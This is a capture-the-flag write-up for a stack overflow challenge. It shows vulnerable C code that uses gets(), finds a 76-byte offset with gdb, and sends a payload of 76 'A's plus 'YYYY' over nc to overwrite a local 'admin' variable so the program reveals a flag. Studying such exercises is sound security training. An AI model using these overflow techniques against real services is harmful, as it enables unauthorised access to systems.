Summary
Harder variant of the first overflow challenge. Instead of a simple overflow, a specific local variable (admin) has to be overwritten here with an exact value (0x59595959) to reach the flag function.
Reference code
int read_flag(){
const char* filename = "flag.txt";
FILE* file = fopen(filename, "r");
if(!file){
puts("the file flag.txt is not in the current directory, please contact support\n");
exit(1);
}
char ch;
while ((ch = fgetc(file)) != EOF) {
putchar(ch);
}
fclose(file);
}
int main(){
setup();
banner();
int admin = 0;
int guess = 1;
int check = 0;
char buf[64];
puts("Please Go ahead and leave a comment :");
gets(buf);
if (admin==0x59595959){
read_flag();
}
else{
puts("Bye bye\n");
exit(1);
}
}
Vulnerability
gets(buf) does no length check. buf is 64 bytes, but nothing stops you from sending more bytes. Everything beyond the 64 bytes writes on into adjacent stack memory — in this case eventually into the variable admin.
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
No stack canary, so no extra protection against overwriting stack memory. NX is enabled, but it's not relevant here because no shellcode is executed — only a value is overwritten.
Determining the exact offset via disassembly
gdb ./overflowme2
(gdb) disas main
Relevant instructions:
lea -0x50(%rbp),%rax ; address of buf is computed
mov %rax,%rdi ; address of buf as 1st argument for gets()
call gets@plt ; gets(buf)
cmpl $0x59595959,-0x4(%rbp) ; if (admin == 0x59595959)
On x86-64 (System V ABI) the first argument of a function goes via the rdi register. The lea -0x50(%rbp),%rax followed by mov %rax,%rdi right before call gets@plt proves that rbp-0x50 is the address of buf. The cmpl instruction shows that admin sits at rbp-0x4.
Offset between the start of buf and admin:
0x50 - 0x4 = 0x4c = 76 bytes
Exploit
python3 -c "print('A'*76 + 'YYYY')"
Sent as a comment to the service via nc:
nc <target-ip> 9004
# paste: 76x 'A' followed by 'YYYY'
YYYY is the ASCII representation of the 4 bytes \x59\x59\x59\x59, which matches 0x59595959 exactly (endianness doesn't matter here because all 4 bytes are identical).
Why this works
Once the payload is sent, gets() writes 76 bytes of A into buf and the following stack space (padding + other local variables), followed by the 4 bytes YYYY exactly at the location of admin. The if (admin == 0x59595959) check in main() therefore succeeds and the program calls read_flag(), which reads out the contents of flag.txt.
Note on connectivity
nmap returned "filtered" for this port, and nc/ncat/pwntools' remote() also initially failed with a timeout from the attack box. In the end a direct nc connection to the right target IP did work — so nmap's "filtered" result was not a real block for a normal TCP connection, probably due to how the firewall/IDS reacts specifically to scanning traffic (SYN probes) versus a full, normal connection.